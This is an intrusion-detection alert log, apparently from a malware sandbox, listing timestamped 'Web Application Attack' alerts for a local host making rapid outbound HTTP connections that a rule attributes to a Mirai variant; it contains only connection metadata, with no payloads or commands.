2024-12-03T22:17:17.102077+0100	2030092	1	Web Application Attack	192.168.2.23	46520	63.186.73.228	80	TCP
2024-12-03T22:17:17.876887+0100	2030092	1	Web Application Attack	192.168.2.23	36286	82.117.212.11	80	TCP
2024-12-03T22:17:17.905034+0100	2030092	1	Web Application Attack	192.168.2.23	49166	207.31.188.4	80	TCP
2024-12-03T22:17:17.936507+0100	2030092	1	Web Application Attack	192.168.2.23	38642	129.65.108.220	80	TCP
2024-12-03T22:17:17.945749+0100	2030092	1	Web Application Attack	192.168.2.23	36528	173.92.73.28	80	TCP
2024-12-03T22:17:17.967854+0100	2030092	1	Web Application Attack	192.168.2.23	55076	20.46.92.83	80	TCP
2024-12-03T22:17:18.061653+0100	2030092	1	Web Application Attack	192.168.2.23	49278	209.24.153.157	80	TCP
2024-12-03T22:17:18.070964+0100	2030092	1	Web Application Attack	192.168.2.23	59224	155.1.144.0	80	TCP
2024-12-03T22:17:18.071017+0100	2030092	1	Web Application Attack	192.168.2.23	48634	206.130.193.31	80	TCP
2024-12-03T22:17:18.327276+0100	2030092	1	Web Application Attack	192.168.2.23	49590	157.22.181.36	80	TCP
2024-12-03T22:17:18.359862+0100	2030092	1	Web Application Attack	192.168.2.23	42842	196.188.148.76	80	TCP
2024-12-03T22:17:19.061405+0100	2030092	1	Web Application Attack	192.168.2.23	59332	155.118.130.193	80	TCP
2024-12-03T22:17:19.061488+0100	2030092	1	Web Application Attack	192.168.2.23	38904	189.182.4.61	80	TCP
2024-12-03T22:17:19.061677+0100	2030092	1	Web Application Attack	192.168.2.23	55200	102.76.177.99	80	TCP
2024-12-03T22:17:19.061895+0100	2030092	1	Web Application Attack	192.168.2.23	48552	129.148.53.122	80	TCP
2024-12-03T22:17:19.077017+0100	2030092	1	Web Application Attack	192.168.2.23	39834	123.103.236.184	80	TCP
2024-12-03T22:17:19.092855+0100	2030092	1	Web Application Attack	192.168.2.23	51112	154.142.82.9	80	TCP
2024-12-03T22:17:19.108780+0100	2030092	1	Web Application Attack	192.168.2.23	56648	209.127.151.124	80	TCP
2024-12-03T22:17:19.149301+0100	2030092	1	Web Application Attack	192.168.2.23	48718	200.217.174.254	80	TCP
2024-12-03T22:17:19.342921+0100	2030092	1	Web Application Attack	192.168.2.23	60084	129.211.245.21	80	TCP
2024-12-03T22:17:19.343299+0100	2030092	1	Web Application Attack	192.168.2.23	37358	110.248.91.166	80	TCP
2024-12-03T22:17:19.383330+0100	2030092	1	Web Application Attack	192.168.2.23	56500	39.172.171.102	80	TCP
2024-12-03T22:17:22.468712+0100	2030092	1	Web Application Attack	192.168.2.23	41350	218.240.211.54	80	TCP
2024-12-03T22:17:22.492687+0100	2030092	1	Web Application Attack	192.168.2.23	60146	37.167.205.59	80	TCP
2024-12-03T22:17:22.515252+0100	2030092	1	Web Application Attack	192.168.2.23	49350	222.56.136.103	80	TCP
2024-12-03T22:17:22.524892+0100	2030092	1	Web Application Attack	192.168.2.23	35830	131.251.233.12	80	TCP
2024-12-03T22:17:22.595115+0100	2030092	1	Web Application Attack	192.168.2.23	39082	40.206.44.12	80	TCP
2024-12-03T22:17:22.618027+0100	2030092	1	Web Application Attack	192.168.2.23	49094	85.167.75.107	80	TCP
2024-12-03T22:17:24.389932+0100	2030092	1	Web Application Attack	192.168.2.23	56578	46.179.166.165	80	TCP
2024-12-03T22:17:25.499265+0100	2030092	1	Web Application Attack	192.168.2.23	34112	27.23.244.93	80	TCP
2024-12-03T22:17:25.555492+0100	2030092	1	Web Application Attack	192.168.2.23	46992	122.51.34.245	80	TCP
2024-12-03T22:17:25.555501+0100	2030092	1	Web Application Attack	192.168.2.23	45804	141.101.229.14	80	TCP
2024-12-03T22:17:25.655752+0100	2030092	1	Web Application Attack	192.168.2.23	43326	223.224.73.203	80	TCP
2024-12-03T22:17:26.483400+0100	2030092	1	Web Application Attack	192.168.2.23	53306	94.202.68.70	80	TCP
2024-12-03T22:17:26.483476+0100	2030092	1	Web Application Attack	192.168.2.23	60528	102.178.231.2	80	TCP
2024-12-03T22:17:26.483679+0100	2030092	1	Web Application Attack	192.168.2.23	42128	180.221.255.122	80	TCP
2024-12-03T22:17:26.483762+0100	2030092	1	Web Application Attack	192.168.2.23	52438	84.166.254.51	80	TCP
2024-12-03T22:17:26.515006+0100	2030092	1	Web Application Attack	192.168.2.23	43056	57.252.136.118	80	TCP
2024-12-03T22:17:26.515130+0100	2030092	1	Web Application Attack	192.168.2.23	56840	162.192.141.3	80	TCP
2024-12-03T22:17:26.515202+0100	2030092	1	Web Application Attack	192.168.2.23	45754	38.228.60.18	80	TCP
2024-12-03T22:17:26.515379+0100	2030092	1	Web Application Attack	192.168.2.23	34376	47.105.199.187	80	TCP
2024-12-03T22:17:26.515446+0100	2030092	1	Web Application Attack	192.168.2.23	49718	48.204.138.160	80	TCP
2024-12-03T22:17:26.515699+0100	2030092	1	Web Application Attack	192.168.2.23	39310	112.96.150.125	80	TCP
2024-12-03T22:17:26.515763+0100	2030092	1	Web Application Attack	192.168.2.23	57018	24.190.180.195	80	TCP
2024-12-03T22:17:26.515913+0100	2030092	1	Web Application Attack	192.168.2.23	39258	59.152.138.207	80	TCP
2024-12-03T22:17:26.516040+0100	2030092	1	Web Application Attack	192.168.2.23	41280	178.2.115.55	80	TCP
2024-12-03T22:17:26.524305+0100	2030092	1	Web Application Attack	192.168.2.23	34228	135.251.244.249	80	TCP
2024-12-03T22:17:26.524390+0100	2030092	1	Web Application Attack	192.168.2.23	57768	167.22.27.200	80	TCP
2024-12-03T22:17:26.524512+0100	2030092	1	Web Application Attack	192.168.2.23	52820	129.149.237.7	80	TCP
2024-12-03T22:17:26.524601+0100	2030092	1	Web Application Attack	192.168.2.23	39402	116.202.231.245	80	TCP
2024-12-03T22:17:26.524764+0100	2030092	1	Web Application Attack	192.168.2.23	46824	205.252.97.206	80	TCP
2024-12-03T22:17:26.525069+0100	2030092	1	Web Application Attack	192.168.2.23	57808	81.57.120.155	80	TCP
2024-12-03T22:17:26.525087+0100	2030092	1	Web Application Attack	192.168.2.23	50334	152.208.229.121	80	TCP
2024-12-03T22:17:26.530425+0100	2030092	1	Web Application Attack	192.168.2.23	55708	176.120.199.56	80	TCP
2024-12-03T22:17:26.539411+0100	2030092	1	Web Application Attack	192.168.2.23	47960	93.194.123.76	80	TCP
2024-12-03T22:17:26.539627+0100	2030092	1	Web Application Attack	192.168.2.23	48330	9.161.88.229	80	TCP
2024-12-03T22:17:26.546051+0100	2030092	1	Web Application Attack	192.168.2.23	34732	88.39.75.127	80	TCP
2024-12-03T22:17:26.546122+0100	2030092	1	Web Application Attack	192.168.2.23	49074	27.241.250.97	80	TCP
2024-12-03T22:17:26.555231+0100	2030092	1	Web Application Attack	192.168.2.23	46752	188.44.76.82	80	TCP
2024-12-03T22:17:26.555339+0100	2030092	1	Web Application Attack	192.168.2.23	54972	179.29.60.116	80	TCP
2024-12-03T22:17:26.555603+0100	2030092	1	Web Application Attack	192.168.2.23	43326	136.1.157.45	80	TCP
2024-12-03T22:17:26.555736+0100	2030092	1	Web Application Attack	192.168.2.23	49126	115.174.254.9	80	TCP
2024-12-03T22:17:26.555908+0100	2030092	1	Web Application Attack	192.168.2.23	50414	205.7.167.33	80	TCP
2024-12-03T22:17:26.556188+0100	2030092	1	Web Application Attack	192.168.2.23	42924	96.211.14.136	80	TCP
2024-12-03T22:17:26.561647+0100	2030092	1	Web Application Attack	192.168.2.23	55370	222.149.156.59	80	TCP
2024-12-03T22:17:26.562032+0100	2030092	1	Web Application Attack	192.168.2.23	40044	52.243.132.90	80	TCP
2024-12-03T22:17:26.570798+0100	2030092	1	Web Application Attack	192.168.2.23	44772	167.48.89.11	80	TCP
2024-12-03T22:17:26.571191+0100	2030092	1	Web Application Attack	192.168.2.23	51124	73.34.85.148	80	TCP
2024-12-03T22:17:26.586504+0100	2030092	1	Web Application Attack	192.168.2.23	38336	2.132.182.104	80	TCP
2024-12-03T22:17:26.586538+0100	2030092	1	Web Application Attack	192.168.2.23	43984	184.133.164.172	80	TCP
2024-12-03T22:17:26.602131+0100	2030092	1	Web Application Attack	192.168.2.23	34674	119.62.113.148	80	TCP
2024-12-03T22:17:26.749406+0100	2030092	1	Web Application Attack	192.168.2.23	36326	104.129.192.30	80	TCP
2024-12-03T22:17:26.749518+0100	2030092	1	Web Application Attack	192.168.2.23	60334	1.48.153.31	80	TCP
2024-12-03T22:17:26.764892+0100	2030092	1	Web Application Attack	192.168.2.23	42330	193.81.123.155	80	TCP
2024-12-03T22:17:26.765066+0100	2030092	1	Web Application Attack	192.168.2.23	47286	132.121.27.126	80	TCP
2024-12-03T22:17:26.765428+0100	2030092	1	Web Application Attack	192.168.2.23	42252	40.201.96.69	80	TCP
2024-12-03T22:17:26.765614+0100	2030092	1	Web Application Attack	192.168.2.23	44292	147.169.251.3	80	TCP
2024-12-03T22:17:26.774039+0100	2030092	1	Web Application Attack	192.168.2.23	48524	85.166.29.88	80	TCP
2024-12-03T22:17:26.796259+0100	2030092	1	Web Application Attack	192.168.2.23	51890	152.18.186.52	80	TCP
2024-12-03T22:17:26.814309+0100	2030092	1	Web Application Attack	192.168.2.23	33484	180.33.117.141	80	TCP
2024-12-03T22:17:26.821008+0100	2030092	1	Web Application Attack	192.168.2.23	42958	31.153.242.177	80	TCP
2024-12-03T22:17:27.546201+0100	2030092	1	Web Application Attack	192.168.2.23	60112	208.160.36.110	80	TCP
2024-12-03T22:17:27.603258+0100	2030092	1	Web Application Attack	192.168.2.23	53184	23.65.54.78	80	TCP
2024-12-03T22:17:27.868161+0100	2030092	1	Web Application Attack	192.168.2.23	47950	128.53.112.203	80	TCP
2024-12-03T22:17:27.868168+0100	2030092	1	Web Application Attack	192.168.2.23	46160	50.40.222.218	80	TCP
2024-12-03T22:17:27.868187+0100	2030092	1	Web Application Attack	192.168.2.23	41558	159.129.33.57	80	TCP
2024-12-03T22:17:27.868189+0100	2030092	1	Web Application Attack	192.168.2.23	52214	74.140.209.201	80	TCP
2024-12-03T22:17:27.868193+0100	2030092	1	Web Application Attack	192.168.2.23	45414	119.7.68.108	80	TCP
2024-12-03T22:17:27.868193+0100	2030092	1	Web Application Attack	192.168.2.23	55606	130.99.153.145	80	TCP
2024-12-03T22:17:27.868195+0100	2030092	1	Web Application Attack	192.168.2.23	38814	213.127.9.244	80	TCP
2024-12-03T22:17:27.868232+0100	2030092	1	Web Application Attack	192.168.2.23	57972	4.20.92.223	80	TCP
2024-12-03T22:17:27.868233+0100	2030092	1	Web Application Attack	192.168.2.23	47590	76.92.78.112	80	TCP
2024-12-03T22:17:27.868346+0100	2030092	1	Web Application Attack	192.168.2.23	57376	140.209.104.129	80	TCP
2024-12-03T22:17:27.868346+0100	2030092	1	Web Application Attack	192.168.2.23	56860	53.16.184.81	80	TCP
2024-12-03T22:17:27.868348+0100	2030092	1	Web Application Attack	192.168.2.23	36240	95.242.147.177	80	TCP
2024-12-03T22:17:27.868404+0100	2030092	1	Web Application Attack	192.168.2.23	43478	122.93.228.248	80	TCP
2024-12-03T22:17:27.868480+0100	2030092	1	Web Application Attack	192.168.2.23	49214	219.175.97.71	80	TCP
2024-12-03T22:17:27.884681+0100	2030092	1	Web Application Attack	192.168.2.23	47268	99.147.210.38	80	TCP
2024-12-03T22:17:27.915236+0100	2030092	1	Web Application Attack	192.168.2.23	59144	166.63.105.98	80	TCP
2024-12-03T22:17:28.514799+0100	2030092	1	Web Application Attack	192.168.2.23	33834	151.51.89.72	80	TCP
2024-12-03T22:17:28.524144+0100	2030092	1	Web Application Attack	192.168.2.23	58542	83.86.34.10	80	TCP
2024-12-03T22:17:28.530399+0100	2030092	1	Web Application Attack	192.168.2.23	59800	46.71.5.56	80	TCP
2024-12-03T22:17:28.530641+0100	2030092	1	Web Application Attack	192.168.2.23	43584	88.81.6.185	80	TCP
2024-12-03T22:17:28.530873+0100	2030092	1	Web Application Attack	192.168.2.23	52350	211.150.95.162	80	TCP
2024-12-03T22:17:28.545985+0100	2030092	1	Web Application Attack	192.168.2.23	55088	197.148.94.127	80	TCP
2024-12-03T22:17:28.546181+0100	2030092	1	Web Application Attack	192.168.2.23	55098	193.157.209.116	80	TCP
2024-12-03T22:17:28.561632+0100	2030092	1	Web Application Attack	192.168.2.23	39322	216.253.100.18	80	TCP
2024-12-03T22:17:28.561975+0100	2030092	1	Web Application Attack	192.168.2.23	54680	27.102.158.52	80	TCP
2024-12-03T22:17:28.561993+0100	2030092	1	Web Application Attack	192.168.2.23	36022	104.35.149.162	80	TCP
2024-12-03T22:17:28.562017+0100	2030092	1	Web Application Attack	192.168.2.23	51440	1.52.172.135	80	TCP
2024-12-03T22:17:28.586439+0100	2030092	1	Web Application Attack	192.168.2.23	42808	170.77.116.127	80	TCP
2024-12-03T22:17:28.586527+0100	2030092	1	Web Application Attack	192.168.2.23	35946	130.49.81.238	80	TCP
2024-12-03T22:17:28.592866+0100	2030092	1	Web Application Attack	192.168.2.23	40542	65.194.145.240	80	TCP
2024-12-03T22:17:28.593006+0100	2030092	1	Web Application Attack	192.168.2.23	40340	213.151.138.127	80	TCP
2024-12-03T22:17:28.593280+0100	2030092	1	Web Application Attack	192.168.2.23	42166	189.137.32.26	80	TCP
2024-12-03T22:17:28.593393+0100	2030092	1	Web Application Attack	192.168.2.23	50824	34.161.39.6	80	TCP
2024-12-03T22:17:28.593495+0100	2030092	1	Web Application Attack	192.168.2.23	53992	165.123.114.131	80	TCP
2024-12-03T22:17:28.593667+0100	2030092	1	Web Application Attack	192.168.2.23	53002	54.67.175.4	80	TCP
2024-12-03T22:17:28.602051+0100	2030092	1	Web Application Attack	192.168.2.23	38844	153.143.252.155	80	TCP
2024-12-03T22:17:28.602136+0100	2030092	1	Web Application Attack	192.168.2.23	51316	198.209.119.52	80	TCP
2024-12-03T22:17:28.602232+0100	2030092	1	Web Application Attack	192.168.2.23	35174	121.31.140.125	80	TCP
2024-12-03T22:17:28.602324+0100	2030092	1	Web Application Attack	192.168.2.23	36726	65.145.54.83	80	TCP
2024-12-03T22:17:28.602453+0100	2030092	1	Web Application Attack	192.168.2.23	33010	4.190.171.51	80	TCP
2024-12-03T22:17:28.602534+0100	2030092	1	Web Application Attack	192.168.2.23	55452	66.188.144.201	80	TCP
2024-12-03T22:17:28.602620+0100	2030092	1	Web Application Attack	192.168.2.23	56882	201.128.240.190	80	TCP
2024-12-03T22:17:28.602760+0100	2030092	1	Web Application Attack	192.168.2.23	53938	167.66.184.221	80	TCP
2024-12-03T22:17:28.617650+0100	2030092	1	Web Application Attack	192.168.2.23	60414	24.130.50.119	80	TCP
2024-12-03T22:17:28.617741+0100	2030092	1	Web Application Attack	192.168.2.23	56770	84.64.138.174	80	TCP
2024-12-03T22:17:28.618004+0100	2030092	1	Web Application Attack	192.168.2.23	39636	159.94.198.206	80	TCP
2024-12-03T22:17:28.633814+0100	2030092	1	Web Application Attack	192.168.2.23	51468	174.205.29.201	80	TCP
2024-12-03T22:17:28.633835+0100	2030092	1	Web Application Attack	192.168.2.23	49068	145.181.27.62	80	TCP
2024-12-03T22:17:28.690800+0100	2030092	1	Web Application Attack	192.168.2.23	45950	31.44.219.148	80	TCP
2024-12-03T22:17:28.780818+0100	2030092	1	Web Application Attack	192.168.2.23	44874	173.230.202.47	80	TCP
2024-12-03T22:17:28.814523+0100	2030092	1	Web Application Attack	192.168.2.23	33834	64.128.159.239	80	TCP
2024-12-03T22:17:28.819043+0100	2030092	1	Web Application Attack	192.168.2.23	55146	152.101.156.152	80	TCP
2024-12-03T22:17:28.820842+0100	2030092	1	Web Application Attack	192.168.2.23	43798	197.132.81.161	80	TCP
2024-12-03T22:17:28.825955+0100	2030092	1	Web Application Attack	192.168.2.23	33582	58.186.27.28	80	TCP
2024-12-03T22:17:28.827205+0100	2030092	1	Web Application Attack	192.168.2.23	38550	132.72.173.54	80	TCP
2024-12-03T22:17:28.852128+0100	2030092	1	Web Application Attack	192.168.2.23	33266	41.52.97.205	80	TCP
2024-12-03T22:17:28.868121+0100	2030092	1	Web Application Attack	192.168.2.23	54226	75.133.121.183	80	TCP
2024-12-03T22:17:28.899202+0100	2030092	1	Web Application Attack	192.168.2.23	50056	199.210.40.19	80	TCP
2024-12-03T22:17:29.852239+0100	2030092	1	Web Application Attack	192.168.2.23	34528	19.72.54.148	80	TCP
2024-12-03T22:17:29.890287+0100	2030092	1	Web Application Attack	192.168.2.23	43992	60.107.3.197	80	TCP
2024-12-03T22:17:29.898980+0100	2030092	1	Web Application Attack	192.168.2.23	41636	115.201.93.86	80	TCP
2024-12-03T22:17:29.899200+0100	2030092	1	Web Application Attack	192.168.2.23	56466	133.82.186.56	80	TCP
2024-12-03T22:17:29.905440+0100	2030092	1	Web Application Attack	192.168.2.23	35746	38.198.70.85	80	TCP
2024-12-03T22:17:29.921221+0100	2030092	1	Web Application Attack	192.168.2.23	35168	212.255.25.29	80	TCP
2024-12-03T22:17:29.936959+0100	2030092	1	Web Application Attack	192.168.2.23	33068	177.162.222.141	80	TCP
2024-12-03T22:17:29.937019+0100	2030092	1	Web Application Attack	192.168.2.23	46532	198.182.59.171	80	TCP
2024-12-03T22:17:29.952483+0100	2030092	1	Web Application Attack	192.168.2.23	47796	72.191.2.154	80	TCP
2024-12-03T22:17:29.977259+0100	2030092	1	Web Application Attack	192.168.2.23	45194	171.42.171.209	80	TCP
2024-12-03T22:17:29.977500+0100	2030092	1	Web Application Attack	192.168.2.23	40022	47.154.42.249	80	TCP
2024-12-03T22:17:29.977600+0100	2030092	1	Web Application Attack	192.168.2.23	35706	100.184.128.42	80	TCP
2024-12-03T22:17:30.522011+0100	2030092	1	Web Application Attack	192.168.2.23	41164	108.157.64.85	80	TCP
2024-12-03T22:17:30.813583+0100	2030092	1	Web Application Attack	192.168.2.23	45158	2.112.110.195	80	TCP
2024-12-03T22:17:30.813600+0100	2030092	1	Web Application Attack	192.168.2.23	44266	70.62.179.41	80	TCP
2024-12-03T22:17:30.842935+0100	2030092	1	Web Application Attack	192.168.2.23	35624	126.207.149.173	80	TCP
2024-12-03T22:17:30.842949+0100	2030092	1	Web Application Attack	192.168.2.23	49800	110.147.154.44	80	TCP
2024-12-03T22:17:30.843513+0100	2030092	1	Web Application Attack	192.168.2.23	32992	124.158.8.208	80	TCP
2024-12-03T22:17:30.843521+0100	2030092	1	Web Application Attack	192.168.2.23	44168	216.39.174.179	80	TCP
2024-12-03T22:17:30.843539+0100	2030092	1	Web Application Attack	192.168.2.23	59760	58.174.175.10	80	TCP
2024-12-03T22:17:30.843558+0100	2030092	1	Web Application Attack	192.168.2.23	43494	181.161.118.4	80	TCP
2024-12-03T22:17:30.868432+0100	2030092	1	Web Application Attack	192.168.2.23	47310	69.137.126.16	80	TCP
2024-12-03T22:17:30.868447+0100	2030092	1	Web Application Attack	192.168.2.23	33848	169.16.2.19	80	TCP
2024-12-03T22:17:30.871451+0100	2030092	1	Web Application Attack	192.168.2.23	57684	39.107.190.186	80	TCP
2024-12-03T22:17:30.874633+0100	2030092	1	Web Application Attack	192.168.2.23	55374	27.214.244.99	80	TCP
2024-12-03T22:17:30.874636+0100	2030092	1	Web Application Attack	192.168.2.23	58582	156.88.184.39	80	TCP
2024-12-03T22:17:30.874638+0100	2030092	1	Web Application Attack	192.168.2.23	37068	51.238.123.249	80	TCP
2024-12-03T22:17:30.874659+0100	2030092	1	Web Application Attack	192.168.2.23	49052	42.204.247.0	80	TCP
2024-12-03T22:17:30.883606+0100	2030092	1	Web Application Attack	192.168.2.23	55402	140.48.108.4	80	TCP
2024-12-03T22:17:30.883629+0100	2030092	1	Web Application Attack	192.168.2.23	54596	73.8.27.189	80	TCP
2024-12-03T22:17:30.889909+0100	2030092	1	Web Application Attack	192.168.2.23	50052	5.72.202.83	80	TCP
2024-12-03T22:17:30.890447+0100	2030092	1	Web Application Attack	192.168.2.23	35542	63.181.115.218	80	TCP
2024-12-03T22:17:30.890460+0100	2030092	1	Web Application Attack	192.168.2.23	49968	23.247.191.235	80	TCP
2024-12-03T22:17:30.890478+0100	2030092	1	Web Application Attack	192.168.2.23	36304	62.10.205.217	80	TCP
2024-12-03T22:17:30.891069+0100	2030092	1	Web Application Attack	192.168.2.23	52078	35.76.116.40	80	TCP
2024-12-03T22:17:30.891071+0100	2030092	1	Web Application Attack	192.168.2.23	44966	150.22.167.224	80	TCP
2024-12-03T22:17:30.891075+0100	2030092	1	Web Application Attack	192.168.2.23	55510	190.209.237.135	80	TCP
2024-12-03T22:17:30.891079+0100	2030092	1	Web Application Attack	192.168.2.23	33086	124.36.163.15	80	TCP
2024-12-03T22:17:30.891559+0100	2030092	1	Web Application Attack	192.168.2.23	47754	136.230.17.227	80	TCP
2024-12-03T22:17:30.891580+0100	2030092	1	Web Application Attack	192.168.2.23	55012	38.44.88.84	80	TCP
2024-12-03T22:17:30.899305+0100	2030092	1	Web Application Attack	192.168.2.23	39588	220.17.106.6	80	TCP
2024-12-03T22:17:30.899592+0100	2030092	1	Web Application Attack	192.168.2.23	58626	105.244.168.95	80	TCP
2024-12-03T22:17:30.899927+0100	2030092	1	Web Application Attack	192.168.2.23	50226	177.251.155.124	80	TCP
2024-12-03T22:17:30.900494+0100	2030092	1	Web Application Attack	192.168.2.23	43066	201.144.89.148	80	TCP
2024-12-03T22:17:30.900500+0100	2030092	1	Web Application Attack	192.168.2.23	32844	200.142.198.135	80	TCP
2024-12-03T22:17:30.931332+0100	2030092	1	Web Application Attack	192.168.2.23	45184	172.250.40.76	80	TCP
2024-12-03T22:17:30.931362+0100	2030092	1	Web Application Attack	192.168.2.23	33758	132.110.148.170	80	TCP
2024-12-03T22:17:30.931385+0100	2030092	1	Web Application Attack	192.168.2.23	45306	86.70.243.96	80	TCP
2024-12-03T22:17:30.931406+0100	2030092	1	Web Application Attack	192.168.2.23	57008	200.140.138.147	80	TCP
2024-12-03T22:17:30.945979+0100	2030092	1	Web Application Attack	192.168.2.23	60240	71.219.12.131	80	TCP
2024-12-03T22:17:31.820072+0100	2030092	1	Web Application Attack	192.168.2.23	57572	160.2.24.187	80	TCP
2024-12-03T22:17:31.836861+0100	2030092	1	Web Application Attack	192.168.2.23	50578	218.29.246.16	80	TCP
2024-12-03T22:17:31.843144+0100	2030092	1	Web Application Attack	192.168.2.23	43988	198.32.122.228	80	TCP
2024-12-03T22:17:31.852131+0100	2030092	1	Web Application Attack	192.168.2.23	60684	63.137.95.64	80	TCP
2024-12-03T22:17:31.858490+0100	2030092	1	Web Application Attack	192.168.2.23	38306	75.182.33.246	80	TCP
2024-12-03T22:17:31.858583+0100	2030092	1	Web Application Attack	192.168.2.23	35852	92.179.185.109	80	TCP
2024-12-03T22:17:31.899042+0100	2030092	1	Web Application Attack	192.168.2.23	57676	180.220.252.83	80	TCP
2024-12-03T22:17:31.930195+0100	2030092	1	Web Application Attack	192.168.2.23	50926	115.66.129.32	80	TCP
2024-12-03T22:17:31.936793+0100	2030092	1	Web Application Attack	192.168.2.23	33594	37.123.150.153	80	TCP
2024-12-03T22:17:32.015284+0100	2030092	1	Web Application Attack	192.168.2.23	48782	195.200.142.23	80	TCP
2024-12-03T22:17:32.040085+0100	2030092	1	Web Application Attack	192.168.2.23	42958	63.80.245.216	80	TCP
2024-12-03T22:17:33.265038+0100	2030092	1	Web Application Attack	192.168.2.23	57660	2.93.19.236	80	TCP
2024-12-03T22:17:34.218379+0100	2030092	1	Web Application Attack	192.168.2.23	43386	47.93.110.143	80	TCP
2024-12-03T22:17:34.321112+0100	2030092	1	Web Application Attack	192.168.2.23	35864	204.181.218.48	80	TCP
2024-12-03T22:17:34.343131+0100	2030092	1	Web Application Attack	192.168.2.23	57022	124.30.74.118	80	TCP
2024-12-03T22:17:34.343141+0100	2030092	1	Web Application Attack	192.168.2.23	59466	208.169.160.191	80	TCP
2024-12-03T22:17:34.399229+0100	2030092	1	Web Application Attack	192.168.2.23	40896	86.145.3.22	80	TCP
2024-12-03T22:17:34.399310+0100	2030092	1	Web Application Attack	192.168.2.23	57344	77.152.79.148	80	TCP
2024-12-03T22:17:34.399528+0100	2030092	1	Web Application Attack	192.168.2.23	58040	106.87.32.198	80	TCP
2024-12-03T22:17:34.421982+0100	2030092	1	Web Application Attack	192.168.2.23	42840	148.155.181.191	80	TCP
2024-12-03T22:17:34.430361+0100	2030092	1	Web Application Attack	192.168.2.23	49378	34.11.119.35	80	TCP
2024-12-03T22:17:34.445914+0100	2030092	1	Web Application Attack	192.168.2.23	40608	80.179.13.146	80	TCP
2024-12-03T22:17:34.452467+0100	2030092	1	Web Application Attack	192.168.2.23	42728	178.197.238.169	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:16:51.481968+0100	2029034	1	Web Application Attack	192.168.2.23	36100	148.77.50.206	80	TCP
2024-12-03T22:16:51.910119+0100	2029034	1	Web Application Attack	192.168.2.23	50814	189.63.67.242	80	TCP
2024-12-03T22:16:51.953564+0100	2029034	1	Web Application Attack	192.168.2.23	56390	201.216.93.118	80	TCP
2024-12-03T22:16:52.840666+0100	2029034	1	Web Application Attack	192.168.2.23	38588	143.95.246.74	80	TCP
2024-12-03T22:16:54.435640+0100	2029034	1	Web Application Attack	192.168.2.23	47024	58.233.196.220	80	TCP
2024-12-03T22:17:05.674697+0100	2029034	1	Web Application Attack	192.168.2.23	38202	195.66.25.125	80	TCP
2024-12-03T22:17:05.762128+0100	2029034	1	Web Application Attack	192.168.2.23	57118	103.68.228.38	80	TCP
2024-12-03T22:17:10.452402+0100	2029034	1	Web Application Attack	192.168.2.23	44002	93.134.211.187	80	TCP
2024-12-03T22:17:10.461269+0100	2029034	1	Web Application Attack	192.168.2.23	34554	44.97.239.58	80	TCP
2024-12-03T22:17:10.469901+0100	2029034	1	Web Application Attack	192.168.2.23	50084	141.23.106.58	80	TCP
2024-12-03T22:17:10.478714+0100	2029034	1	Web Application Attack	192.168.2.23	54802	69.105.106.1	80	TCP
2024-12-03T22:17:10.498657+0100	2029034	1	Web Application Attack	192.168.2.23	51332	5.50.172.102	80	TCP
2024-12-03T22:17:10.514385+0100	2029034	1	Web Application Attack	192.168.2.23	49430	142.163.169.148	80	TCP
2024-12-03T22:17:10.514443+0100	2029034	1	Web Application Attack	192.168.2.23	35632	217.15.168.25	80	TCP
2024-12-03T22:17:10.523664+0100	2029034	1	Web Application Attack	192.168.2.23	53804	46.29.80.182	80	TCP
2024-12-03T22:17:10.545681+0100	2029034	1	Web Application Attack	192.168.2.23	56994	106.125.175.246	80	TCP
2024-12-03T22:17:10.555075+0100	2029034	1	Web Application Attack	192.168.2.23	36578	53.119.123.13	80	TCP
2024-12-03T22:17:10.555321+0100	2029034	1	Web Application Attack	192.168.2.23	41946	108.128.143.21	80	TCP
2024-12-03T22:17:10.561391+0100	2029034	1	Web Application Attack	192.168.2.23	58412	191.107.11.36	80	TCP
2024-12-03T22:17:10.570463+0100	2029034	1	Web Application Attack	192.168.2.23	57904	23.13.227.180	80	TCP
2024-12-03T22:17:10.577047+0100	2029034	1	Web Application Attack	192.168.2.23	58214	159.56.174.211	80	TCP
2024-12-03T22:17:10.586263+0100	2029034	1	Web Application Attack	192.168.2.23	38168	136.30.197.42	80	TCP
2024-12-03T22:17:10.586348+0100	2029034	1	Web Application Attack	192.168.2.23	58950	213.10.8.153	80	TCP
2024-12-03T22:17:10.586498+0100	2029034	1	Web Application Attack	192.168.2.23	48852	76.65.219.244	80	TCP
2024-12-03T22:17:11.243397+0100	2029034	1	Web Application Attack	192.168.2.23	57206	193.208.82.87	80	TCP
2024-12-03T22:17:11.389832+0100	2029034	1	Web Application Attack	192.168.2.23	46196	59.87.238.43	80	TCP
2024-12-03T22:17:11.421161+0100	2029034	1	Web Application Attack	192.168.2.23	54544	137.84.118.55	80	TCP
2024-12-03T22:17:11.421600+0100	2029034	1	Web Application Attack	192.168.2.23	42718	200.134.217.200	80	TCP
2024-12-03T22:17:11.421775+0100	2029034	1	Web Application Attack	192.168.2.23	54340	89.199.198.11	80	TCP
2024-12-03T22:17:11.421936+0100	2029034	1	Web Application Attack	192.168.2.23	59488	89.148.112.82	80	TCP
2024-12-03T22:17:11.422058+0100	2029034	1	Web Application Attack	192.168.2.23	42698	86.87.136.30	80	TCP
2024-12-03T22:17:11.422251+0100	2029034	1	Web Application Attack	192.168.2.23	33746	51.0.21.42	80	TCP
2024-12-03T22:17:11.422352+0100	2029034	1	Web Application Attack	192.168.2.23	55748	50.18.129.224	80	TCP
2024-12-03T22:17:11.422427+0100	2029034	1	Web Application Attack	192.168.2.23	51504	120.125.222.84	80	TCP
2024-12-03T22:17:11.422525+0100	2029034	1	Web Application Attack	192.168.2.23	40354	177.102.58.160	80	TCP
2024-12-03T22:17:11.430072+0100	2029034	1	Web Application Attack	192.168.2.23	42740	126.110.141.44	80	TCP
2024-12-03T22:17:11.430700+0100	2029034	1	Web Application Attack	192.168.2.23	51992	44.100.34.190	80	TCP
2024-12-03T22:17:11.430716+0100	2029034	1	Web Application Attack	192.168.2.23	35534	44.223.88.222	80	TCP
2024-12-03T22:17:11.436228+0100	2029034	1	Web Application Attack	192.168.2.23	53878	219.159.129.91	80	TCP
2024-12-03T22:17:11.436283+0100	2029034	1	Web Application Attack	192.168.2.23	50606	106.119.111.49	80	TCP
2024-12-03T22:17:11.436402+0100	2029034	1	Web Application Attack	192.168.2.23	41218	72.185.180.188	80	TCP
2024-12-03T22:17:11.445525+0100	2029034	1	Web Application Attack	192.168.2.23	36024	161.83.220.85	80	TCP
2024-12-03T22:17:11.452029+0100	2029034	1	Web Application Attack	192.168.2.23	51966	115.64.13.91	80	TCP
